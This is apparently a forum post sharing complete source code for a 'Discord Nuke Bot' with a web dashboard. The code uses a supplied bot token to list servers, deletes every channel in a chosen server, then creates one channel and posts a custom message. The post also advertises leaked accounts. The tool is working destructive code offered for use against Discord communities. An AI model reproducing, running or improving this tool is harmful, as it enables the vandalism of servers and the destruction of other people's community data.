Discord Nuke Bot with Dashboard

Project Majin

Newbie
Joined
11 Jun 2026
Messages
18
Reaction score
511
Points
78
JOIN MY PRIVATE FOR REAL SCRIPTS AND FREE ACC LEAKS
Discord


DOWNLOAD:


SOURCE CODES:


script.py:
Python:
from flask import Flask, render_template, request, jsonify
import threading
import asyncio
import os
import webbrowser
from py import ChannelCleanerBot

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Goku:
    def __init__(self):
        self.gohan = None
        self.goten = None
        self.trunks = None
        self.videl = False
    
    def runbot(self, vegeta):
        if self.videl:
            self.stopbot()
        
        def nappa():
            self.goten = asyncio.new_event_loop()
            asyncio.set_event_loop(self.goten)
            self.gohan = ChannelCleanerBot()
            self.gohan.manager = self
            try:
                self.goten.run_until_complete(self.gohan.start(vegeta))
            except Exception as e:
                print(f"Bot execution stopped: {e}")
                self.videl = False
        
        self.trunks = threading.Thread(target=nappa, daemon=True)
        self.trunks.start()
        self.videl = True
    
    def stopbot(self):
        if self.gohan and self.videl:
            asyncio.run_coroutine_threadsafe(self.gohan.close(), self.goten)
            self.videl = False

raditz = Goku()

@app.route('/')
def home():
    return render_template('dashboard.html')

@app.route('/api/connect_bot', methods=['POST'])
def login():
    data = request.json
    tkn = data.get('token')
    if not tkn or tkn.strip() == "":
        return jsonify({'error': 'Token input cannot be empty'}), 400
    
    try:
        raditz.runbot(tkn.strip())
        return jsonify({'success': True, 'message': 'Bot connection sequence initialized!'})
    except Exception as e:
        return jsonify({'error': str(e)}), 500

@app.route('/api/guilds')
def guilds():
    if raditz.gohan and raditz.gohan.is_ready():
        bulma = []
        for g in raditz.gohan.guilds:
            chans = g.channels
            txt = len([c for c in chans if str(c.type) == 'text'])
            vc = len([c for c in chans if str(c.type) == 'voice'])
            bulma.append({
                'id': str(g.id),
                'name': g.name,
                'icon': str(g.icon.url) if g.icon else None,
                'member_count': g.member_count,
                'channels': len(chans),
                'text_channels': txt,
                'voice_channels': vc
            })
        return jsonify(bulma)
    return jsonify([])

@app.route('/api/guild/<guild_id>/channels')
def chans(guild_id):
    if raditz.gohan and raditz.gohan.is_ready():
        g = raditz.gohan.get_guild(int(guild_id))
        if g:
            krillin = []
            for c in g.channels:
                krillin.append({
                    'id': str(c.id),
                    'name': c.name,
                    'type': str(c.type),
                    'position': c.position
                })
            return jsonify(krillin)
    return jsonify([])

@app.route('/api/start_cleanup', methods=['POST'])
def wipe():
    dt = request.json
    gid = dt.get('guild_id')
    ncn = dt.get('new_channel_name', 'system-log')
    mc = dt.get('message_content', '')
    
    emb = {
        'title': dt.get('embed_title', ''),
        'description': dt.get('embed_description', ''),
        'color': dt.get('embed_color', '#00ff00'),
        'fields': dt.get('embed_fields', []),
        'footer': dt.get('embed_footer', ''),
        'timestamp': dt.get('embed_timestamp', False)
    }
    
    if not gid:
        return jsonify({'error': 'Missing Guild ID'}), 400
    if not raditz.gohan or not raditz.gohan.is_ready():
        return jsonify({'error': 'Bot is not ready or offline'}), 400
    
    async def cell():
        g = raditz.gohan.get_guild(int(gid))
        if g:
            await raditz.gohan.doclean(g, ncn, mc, emb)
    
    asyncio.run_coroutine_threadsafe(cell(), raditz.goten)
    return jsonify({'success': True, 'message': 'Cleanup process initiated!'})

@app.route('/api/bot_status')
def status():
    if raditz.gohan and raditz.gohan.is_ready():
        return jsonify({
            'status': 'online',
            'username': str(raditz.gohan.user),
            'guilds': len(raditz.gohan.guilds)
        })
    return jsonify({'status': 'offline'})

def browse():
    webbrowser.open("http://127.0.0.1:5000")

if __name__ == '__main__':
    threading.Timer(1.5, browse).start()
    app.run(debug=False, host='127.0.0.1', port=5000)

py.py:
Python:
import discord
import asyncio

class ChannelCleanerBot(discord.Client):
    def __init__(self):
        opts = discord.Intents.default()
        opts.guilds = True
        super().__init__(intents=opts)
        self.manager = None
    
    async def on_ready(self):
        print(f'✅ Bot logged in as {self.user}')
        print(f' Connected to {len(self.guilds)} server(s)')
    
    async def doclean(self, g, name, msg, emb):
        try:
            arr = list(g.channels)
            delc = 0
            skpc = 0
            errc = 0
            
            print(f'\n️ Deleting channels on {g.name}...')
            
            for c in arr:
                try:
                    await c.delete()
                    delc += 1
                    await asyncio.sleep(0.2)
                except discord.Forbidden:
                    skpc += 1
                except Exception:
                    errc += 1
            
            try:
                newch = await g.create_text_channel(
                    name=name,
                    overwrites={
                        g.default_role: discord.PermissionOverwrite(view_channel=True, send_messages=True)
                    }
                )
                await self.sendmsg(newch, msg, emb, delc, skpc, errc)
            except Exception as e:
                print(f'❌ Failed to create new log channel: {e}')
                
        except Exception as e:
            print(f'❌ Critical error during cleanup: {e}')
    
    async def sendmsg(self, chan, txt, emb, d, s, e):
        if txt:
            await chan.send(txt)
        
        if emb and emb.get('title'):
            try:
                rawcol = emb.get('color', '#00ff00').lstrip('#')
                colint = int(rawcol, 16)
            except ValueError:
                colint = 0x00ff00

            obj = discord.Embed(
                title=emb.get('title', ' Cleanup Report'),
                description=emb.get('description', ''),
                color=colint
            )
            
            if emb.get('fields'):
                for f in emb['fields']:
                    if f.get('name') and f.get('value'):
                        obj.add_field(name=f['name'], value=f['value'], inline=f.get('inline', True))
            
            if emb.get('footer'):
                obj.set_footer(text=emb['footer'])
            if emb.get('timestamp'):
                obj.timestamp = discord.utils.utcnow()
            
            await chan.send(embed=obj)

templates/dashboard.html:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Discord Nuker</title>
    <link rel="icon" type="image/png" href="https://i.imgur.com/zXTbJFS.png">
    <link rel="stylesheet" href="/static/style.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
</head>
<body>
    <div class="container">
        
        <header class="header">
            <div class="logo">
                <span class="icon">️</span>
                <h1>Channel Cleaner Dashboard</h1>
            </div>
            <div class="status">
                <span id="botStatus" class="status-badge offline">● Bot offline</span>
            </div>
        </header>

      
        <div class="main-content">
            
            <div class="panel server-panel">
                <h2> Bot Authentication</h2>
                <div class="form-group">
                    <label>Enter Bot Token</label>
                    <input type="password" id="botTokenInput" placeholder="Paste your discord bot token here...">
                    <button id="connectBotBtn" class="btn btn-success" style="margin-top: 10px; width: 100%;">⚡ Connect Bot</button>
                </div>

                <h2 style="margin-top: 24px;"> Select Guild / Server</h2>
                <div id="serverList" class="server-list">
                    <div class="loading">Please connect your bot first...</div>
                </div>
                
                <div id="channelInfo" class="channel-info" style="display: none;">
                    <h3> Channels List</h3>
                    <div id="channelList" class="channel-list"></div>
                </div>
            </div>

          
            <div class="panel settings-panel">
                
                <div class="discord-ad-banner">
                    <div class="ad-content">
                        <span class="ad-badge">COMMUNITY</span>
                        <h3>Join Our Official Discord Server!</h3>
                        <p>Get support, talk with developers, and receive update notifications instantly.</p>
                    </div>
                    <a href="https://discord.gg/2dr5aBJ2HA" target="_blank" class="ad-btn">Join Server </a>
                </div>

                <h2>⚙️ Configuration & Execution</h2>
                
                <div class="form-group">
                    <label> New Channel Name</label>
                    <input type="text" id="newChannelName" placeholder="e.g., system-log" value="system-log">
                </div>

                <div class="form-group">
                    <label> Regular Message Content</label>
                    <textarea id="messageContent" rows="2" placeholder="Message sent before the embed..."></textarea>
                </div>

                
                <div class="embed-editor">
                    <h3> Rich Embed Configurator <span class="badge">Discohook Style</span></h3>
                    
                    <div class="form-group">
                        <label>Embed Title</label>
                        <input type="text" id="embedTitle" placeholder="Title" value="Title">
                    </div>
                    
                    <div class="form-group">
                        <label>Embed Description</label>
                        <textarea id="embedDescription" rows="2" placeholder="Description...">Embed Description</textarea>
                    </div>
                    
                    <div class="form-group">
                        <label>Embed Accent Color</label>
                        <div class="color-picker">
                            <input type="color" id="embedColor" value="#00ff87">
                            <input type="text" id="embedColorText" value="#00ff87">
                        </div>
                    </div>

                    <div class="form-group">
                        <label>Custom Fields</label>
                        <div id="embedFields">
                            <div class="field-row">
                                <input type="text" class="field-name" placeholder="Name" value="Status">
                                <input type="text" class="field-value" placeholder="Value" value="✅ Complete">
                                <label class="inline-label">
                                    <input type="checkbox" class="field-inline" checked> inline
                                </label>
                                <button type="button" class="btn-remove-field" onclick="removeField(this)">✕</button>
                            </div>
                        </div>
                        <button class="btn-add-field" type="button" onclick="addField()">+ Add Custom Field</button>
                    </div>
                    
                    <div class="form-group">
                        <label>Footer Text</label>
                        <input type="text" id="embedFooter" placeholder="Footer text..." value="Footer">
                    </div>
                    
                    <div class="form-group">
                        <label class="inline-label">
                            <input type="checkbox" id="embedTimestamp" checked> Append Timestamp
                        </label>
                    </div>

                    
                    <div class="embed-preview">
                        <h4>️ Live Feed Preview</h4>
                        <div id="embedPreview" class="preview-box">
                            <div class="preview-embed">
                                <div class="preview-color-bar" style="background: #00ff87;"></div>
                                <div class="preview-content">
                                    <div class="preview-title">Title</div>
                                    <div class="preview-description">Embed Description</div>
                                    <div class="preview-fields">
                                        <div class="preview-field">
                                            <span class="field-name">Status</span>
                                            <span class="field-value">✅ Complete</span>
                                        </div>
                                    </div>
                                    <div class="preview-footer">Footer</div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                
                <div class="action-buttons">
                    <button id="startCleanup" class="btn btn-danger" disabled>
                         Start Nuker
                    </button>
                    <button id="refreshBtn" class="btn btn-secondary">
                         Refresh Guilds List
                    </button>
                </div>

                <div id="log" class="log-box">
                    <div class="log-entry"> System Idle. Please select a server to begin.</div>
                </div>
            </div>
        </div>
    </div>

    <script src="/static/script.js"></script>
</body>
</html>

static/style.css:
CSS:
/* Globale Basis-Styles */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: 'Inter', sans-serif;
}

body {
    background-color: #0f1115;
    color: #e3e5e8;
    min-height: 100vh;
    padding: 24px;
}

.container {
    max-width: 1400px;
    margin: 0 auto;
}

/* Header */
.header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    background: #18191c;
    padding: 16px 24px;
    border-radius: 12px;
    margin-bottom: 24px;
    border: 1px solid #232428;
}

.logo {
    display: flex;
    align-items: center;
    gap: 12px;
}

.logo .icon {
    font-size: 24px;
}

.logo h1 {
    font-size: 20px;
    font-weight: 700;
    color: #fff;
}

.status-badge {
    padding: 6px 12px;
    border-radius: 20px;
    font-size: 13px;
    font-weight: 600;
}

.status-badge.online {
    background: rgba(35, 165, 90, 0.15);
    color: #23a55a;
}

.status-badge.offline {
    background: rgba(242, 63, 67, 0.15);
    color: #f23f43;
}

/* Layout-Struktur (Zweispaltig) */
.main-content {
    display: grid;
    grid-template-columns: 400px 1fr;
    gap: 24px;
}

@media (max-width: 1024px) {
    .main-content {
        grid-template-columns: 1fr;
    }
}

.panel {
    background: #18191c;
    border-radius: 12px;
    padding: 24px;
    border: 1px solid #232428;
    height: fit-content;
}

.panel h2 {
    font-size: 16px;
    font-weight: 700;
    color: #fff;
    margin-bottom: 16px;
    text-transform: uppercase;
    letter-spacing: 0.5px;
}

/* Formularelemente */
.form-group {
    margin-bottom: 16px;
}

.form-group label {
    display: block;
    font-size: 12px;
    font-weight: 700;
    color: #b5bac1;
    text-transform: uppercase;
    margin-bottom: 8px;
    letter-spacing: 0.5px;
}

input[type="text"],
input[type="password"],
textarea {
    width: 100%;
    background: #1e1f22;
    border: 1px solid #2b2d31;
    border-radius: 6px;
    padding: 10px 14px;
    color: #dbdee1;
    font-size: 14px;
    transition: border-color 0.2s;
}

input:focus, textarea:focus {
    outline: none;
    border-color: #5865f2;
}

/* Buttons */
.btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    padding: 10px 20px;
    border-radius: 6px;
    font-size: 14px;
    font-weight: 600;
    cursor: pointer;
    border: none;
    transition: background-color 0.2s, transform 0.1s;
}

.btn:active {
    transform: scale(0.98);
}

.btn-success { background: #23a55a; color: #fff; }
.btn-success:hover { background: #1a7f43; }

.btn-danger { background: #da373c; color: #fff; width: 100%; font-size: 16px; font-weight: 700; padding: 14px; }
.btn-danger:hover { background: #a92b2f; }
.btn-danger:disabled { background: #4f545c; cursor: not-allowed; transform: none; }

.btn-secondary { background: #4e5058; color: #fff; }
.btn-secondary:hover { background: #6d6f78; }

/* Server & Channel Listen */
.server-list {
    display: flex;
    flex-direction: column;
    gap: 8px;
    max-height: 300px;
    overflow-y: auto;
}

.server-item {
    display: flex;
    align-items: center;
    gap: 12px;
    padding: 10px;
    background: #1e1f22;
    border-radius: 8px;
    cursor: pointer;
    border: 1px solid transparent;
    transition: all 0.2s;
}

.server-item:hover, .server-item.selected {
    background: #2b2d31;
    border-color: #5865f2;
}

.server-icon {
    width: 40px;
    height: 40px;
    background: #313338;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    overflow: hidden;
}

.server-icon img {
    width: 100%;
    height: 100%;
    object-fit: cover;
}

.server-name {
    font-weight: 600;
    font-size: 14px;
    color: #fff;
}

.server-stats {
    font-size: 12px;
    color: #949ba4;
}

.channel-list {
    background: #1e1f22;
    border-radius: 8px;
    padding: 10px;
    max-height: 200px;
    overflow-y: auto;
    display: flex;
    flex-direction: column;
    gap: 4px;
}

.channel-item {
    display: flex;
    justify-content: space-between;
    font-size: 13px;
    color: #949ba4;
    padding: 4px 8px;
}

/* Embed Configurator & Live Preview */
.embed-editor {
    background: #1e1f22;
    border-radius: 8px;
    padding: 20px;
    margin-bottom: 20px;
    border: 1px solid #2b2d31;
}

.embed-editor h3 {
    font-size: 14px;
    color: #fff;
    margin-bottom: 16px;
}

.color-picker {
    display: flex;
    gap: 10px;
}

.color-picker input[type="color"] {
    border: none;
    width: 42px;
    height: 42px;
    border-radius: 6px;
    cursor: pointer;
    background: none;
}

.field-row {
    display: flex;
    gap: 10px;
    align-items: center;
    margin-bottom: 10px;
}

.inline-label {
    display: flex;
    align-items: center;
    gap: 6px;
    font-size: 13px;
    color: #b5bac1;
    cursor: pointer;
    white-space: nowrap;
}

.btn-remove-field {
    background: none;
    border: none;
    color: #f23f43;
    cursor: pointer;
    font-size: 16px;
    padding: 4px;
}

.btn-add-field {
    background: none;
    border: 1px dashed #4e5058;
    color: #b5bac1;
    width: 100%;
    padding: 8px;
    border-radius: 6px;
    cursor: pointer;
    font-size: 13px;
}

.btn-add-field:hover {
    border-color: #5865f2;
    color: #fff;
}

/* Discord Live Feed Preview Box */
.embed-preview {
    margin-top: 20px;
}

.embed-preview h4 {
    font-size: 12px;
    color: #b5bac1;
    text-transform: uppercase;
    margin-bottom: 8px;
}

.preview-box {
    background: #313338;
    padding: 16px;
    border-radius: 8px;
}

.preview-embed {
    background: #1e1f22;
    border-radius: 4px;
    display: flex;
    border-left: 4px solid #00ff87;
}

.preview-color-bar {
    width: 4px;
}

.preview-content {
    padding: 8px 16px;
    flex: 1;
}

.preview-title {
    color: #ffffff;
    font-size: 16px;
    font-weight: 600;
    margin-bottom: 4px;
}

.preview-description {
    color: #dbdee1;
    font-size: 14px;
    white-space: pre-wrap;
}

.preview-fields {
    display: flex;
    flex-wrap: wrap;
    gap: 10px;
    margin-top: 10px;
}

.preview-field {
    flex: 1 1 30%;
}

.preview-field .field-name {
    display: block;
    color: #ffffff;
    font-size: 14px;
    font-weight: 600;
    margin-bottom: 2px;
}

.preview-field .field-value {
    color: #dbdee1;
    font-size: 14px;
}

.preview-footer {
    color: #949ba4;
    font-size: 12px;
    margin-top: 8px;
}

/* Logs & Actions */
.action-buttons {
    display: grid;
    grid-template-columns: 1fr 200px;
    gap: 16px;
    margin-bottom: 16px;
}

.log-box {
    background: #000;
    font-family: monospace;
    padding: 12px;
    border-radius: 6px;
    height: 120px;
    overflow-y: auto;
    font-size: 12px;
    color: #39ff14;
    border: 1px solid #2b2d31;
}

.loading {
    color: #949ba4;
    font-size: 14px;
    text-align: center;
    padding: 20px;
}

/* Discord Promo Ad Banner */
.discord-ad-banner {
    background: linear-gradient(135deg, #5865F2, #404EED);
    border-radius: 12px;
    padding: 20px;
    margin-bottom: 24px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    border: 1px solid #727FFF;
    box-shadow: 0 8px 20px rgba(88, 101, 242, 0.2);
}

.ad-content {
    flex: 1;
    padding-right: 20px;
}

.ad-badge {
    background: rgba(255, 255, 255, 0.2);
    color: #fff;
    font-size: 10px;
    font-weight: 800;
    padding: 3px 8px;
    border-radius: 4px;
    letter-spacing: 0.5px;
    display: inline-block;
    margin-bottom: 8px;
}

.ad-content h3 {
    color: #ffffff;
    font-size: 18px;
    font-weight: 700;
    margin-bottom: 4px;
}

.ad-content p {
    color: #e0e6ff;
    font-size: 13px;
    line-height: 1.4;
}

.ad-btn {
    background: #ffffff;
    color: #5865F2;
    text-decoration: none;
    font-weight: 700;
    font-size: 14px;
    padding: 12px 20px;
    border-radius: 8px;
    transition: all 0.2s ease;
    white-space: nowrap;
    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
}

.ad-btn:hover {
    background: #f0f2ff;
    transform: translateY(-2px);
    box-shadow: 0 6px 16px rgba(0, 0, 0, 0.2);
}

static/script.js:
JavaScript:
let target = null;

document.addEventListener('DOMContentLoaded', () => {
    chk();
    setInterval(chk, 4000);

    const ids = ['embedTitle', 'embedDescription', 'embedColor', 'embedFooter', 'embedTimestamp'];
    ids.forEach(id => {
        const el = document.getElementById(id);
        if (el) {
            el.addEventListener('input', view);
            el.addEventListener('change', view);
        }
    });

    const cp = document.getElementById('embedColor');
    const ct = document.getElementById('embedColorText');
    if (cp && ct) {
        cp.addEventListener('input', (e) => { ct.value = e.target.value; view(); });
        ct.addEventListener('input', (e) => { cp.value = e.target.value; view(); });
    }

    document.getElementById('startCleanup').addEventListener('click', go);
    document.getElementById('refreshBtn').addEventListener('click', fetchsrv);
    document.getElementById('connectBotBtn').addEventListener('click', auth);
});

async function auth() {
    const val = document.getElementById('botTokenInput').value;
    if(!val || val.trim() === "") {
        alert("Please enter a valid Discord Bot Token.");
        return;
    }
    
    log("⏳ Submitting token authentication payload...");
    try {
        const res = await fetch('/api/connect_bot', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ token: val })
        });
        const dt = await res.json();
        if(dt.success) {
            log(" Connection request sent. Waiting for gateway ready signal...");
            setTimeout(fetchsrv, 2000);
        } else {
            log(`❌ Failed connection: ${dt.error}`);
        }
    } catch(e) {
        log("❌ Error trying to reach backend API.");
    }
}

async function chk() {
    try {
        const res = await fetch('/api/bot_status');
        const dt = await res.json();
        const badge = document.getElementById('botStatus');
        
        if (dt.status === 'online') {
            badge.className = 'status-badge online';
            badge.textContent = `● Online: ${dt.username}`;
            if (!document.querySelector('.server-item')) {
                fetchsrv();
            }
        } else {
            badge.className = 'status-badge offline';
            badge.textContent = '● Bot Offline';
        }
    } catch (e) {
        console.error('Status validation failed:', e);
    }
}

async function fetchsrv() {
    try {
        const res = await fetch('/api/guilds');
        const srvs = await res.json();
        const box = document.getElementById('serverList');
        
        if (srvs.length === 0) {
            box.innerHTML = '<div class="loading"></div>';
            return;
        }
        
        box.innerHTML = srvs.map(s => `
            <div class="server-item" onclick="sel('${s.id}')" data-id="${s.id}">
                <div class="server-icon">
                    ${s.icon ? `<img src="${s.icon}">` : ''}
                </div>
                <div class="server-info">
                    <div class="server-name">${s.name}</div>
                    <div class="server-stats">
                        ${s.member_count} Members · ${s.channels} Channels
                    </div>
                </div>
            </div>
        `).join('');
        
    } catch (e) {
        console.error('Failed to load guilds:', e);
    }
}

async function sel(id) {
    target = id;
    document.querySelectorAll('.server-item').forEach(el => {
        el.classList.toggle('selected', el.dataset.id === id);
    });
    await fetchch(id);
    document.getElementById('startCleanup').disabled = false;
    const name = document.querySelector('.server-item.selected .server-name').textContent;
    log(`✅ Target Selected: ${name}`);
}

async function fetchch(id) {
    try {
        const res = await fetch(`/api/guild/${id}/channels`);
        const chans = await res.json();
        const list = document.getElementById('channelList');
        const info = document.getElementById('channelInfo');
        
        if (chans.length === 0) {
            list.innerHTML = '<div class="loading">No channels found.</div>';
        } else {
            list.innerHTML = chans.map(c => `
                <div class="channel-item">
                    <span># ${c.name}</span>
                    <span class="channel-type">${c.type.toUpperCase()}</span>
                </div>
            `).join('');
        }
        info.style.display = 'block';
    } catch (e) {
        console.error(e);
    }
}

function addField(n = '', v = '', i = true) {
    const box = document.getElementById('embedFields');
    const r = document.createElement('div');
    r.className = 'field-row';
    r.innerHTML = `
        <input type="text" class="field-name" placeholder="Field Name" value="${n}">
        <input type="text" class="field-value" placeholder="Field Value" value="${v}">
        <label class="inline-label">
            <input type="checkbox" class="field-inline" ${i ? 'checked' : ''}> inline
        </label>
        <button type="button" class="btn-remove-field" onclick="remField(this)">✕</button>
    `;
    box.appendChild(r);
    r.querySelectorAll('input').forEach(input => input.addEventListener('input', view));
    view();
}

function remField(b) {
    b.closest('.field-row').remove();
    view();
}

function view() {
    const t = document.getElementById('embedTitle').value || 'No Title Content';
    const d = document.getElementById('embedDescription').value || 'No Description Content';
    const c = document.getElementById('embedColor').value;
    const f = document.getElementById('embedFooter').value || '';
    
    const arr = [];
    document.querySelectorAll('.field-row').forEach(r => {
        const name = r.querySelector('.field-name').value;
        const val = r.querySelector('.field-value').value;
        const inl = r.querySelector('.field-inline').checked;
        if (name && val) arr.push({ name, value: val, inline: inl });
    });
    
    const box = document.getElementById('embedPreview');
    box.innerHTML = `
        <div class="preview-embed">
            <div class="preview-color-bar" style="background: ${c};"></div>
            <div class="preview-content">
                <div class="preview-title">${t}</div>
                <div class="preview-description">${d}</div>
                <div class="preview-fields">
                    ${arr.map(fl => `
                        <div class="preview-field" style="${fl.inline ? '' : 'flex: 0 0 100%;'}">
                            <span class="field-name">${fl.name}</span>
                            <span class="field-value">${fl.value}</span>
                        </div>
                    `).join('')}
                </div>
                ${f ? `<div class="preview-footer">${f}</div>` : ''}
            </div>
        </div>
    `;
}

function log(msg) {
    const box = document.getElementById('log');
    const r = document.createElement('div');
    r.className = 'log-entry';
    r.textContent = `[${new Date().toLocaleTimeString()}] ${msg}`;
    box.appendChild(r);
    box.scrollTop = box.scrollHeight;
}

async function go() {
    if (!target) return;
    if (!confirm(" WARNING: Wiping out all channels! Proceed?")) return;
    
    log(' Dispatching wiping sequence payload...');
    const arr = [];
    document.querySelectorAll('.field-row').forEach(r => {
        const name = r.querySelector('.field-name').value;
        const val = r.querySelector('.field-value').value;
        const inl = r.querySelector('.field-inline').checked;
        if (name && val) arr.push({ name, value: val, inline: inl });
    });
    
    const data = {
        guild_id: target,
        new_channel_name: document.getElementById('newChannelName').value || 'system-log',
        message_content: document.getElementById('messageContent').value,
        embed_title: document.getElementById('embedTitle').value,
        embed_description: document.getElementById('embedDescription').value,
        embed_color: document.getElementById('embedColorText').value,
        embed_fields: arr,
        embed_footer: document.getElementById('embedFooter').value,
        embed_timestamp: document.getElementById('embedTimestamp').checked
    };

    try {
        const res = await fetch('/api/start_cleanup', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(data)
        });
        const out = await res.json();
        if (out.success) log(' Sequence active.');
        else log(`❌ Server Error: ${out.error}`);
    } catch (err) {
        log('❌ API Network error.');
    }
}
Start.bat
Bash:
pip install flask
pip install discord.py
pip install PyNaCl
python script.py